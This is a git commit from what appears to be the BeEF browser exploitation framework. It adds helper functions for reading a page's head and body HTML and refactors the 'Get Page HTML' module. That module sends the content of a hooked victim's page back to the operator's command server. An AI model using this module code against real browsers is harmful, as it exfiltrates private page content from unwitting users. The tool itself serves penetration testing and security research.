Add beef.browser.getPageHead() and beef.browser.getPageBody()

Update 'Get Page HTML' module to use these functions

Tested on IE6, FF22, C28

Fix issue #518
This commit is contained in:
bcoles
2013-10-13 03:37:15 +10:30
parent 09443675cc
commit 8e6751611d
2 changed files with 25 additions and 12 deletions

View File

@@ -1935,6 +1935,30 @@ beef.browser = {
return foxitplugin;
},
/**
* Returns the page head HTML
**/
getPageHead:function () {
var html_head;
try {
html_head = document.head.innerHTML.toString();
} catch (e) {
}
return html_head;
},
/**
* Returns the page body HTML
**/
getPageBody:function() {
var html_body;
try {
html_body = document.body.innerHTML.toString();
} catch (e) {
}
return html_body;
},
/**
* Dynamically changes the favicon: works in Firefox, Chrome and Opera
**/

View File

@@ -6,18 +6,7 @@
beef.execute(function() {
try {
var html_head = document.head.innerHTML.toString();
} catch (e) {
var html_head = "Error: document has no head";
}
try {
var html_body = document.body.innerHTML.toString();
} catch (e) {
var html_body = "Error: document has no body";
}
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'head='+html_head+'&body='+html_body);
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'head='+beef.browser.getPageHead()+'&body='+beef.browser.getPageBody());
});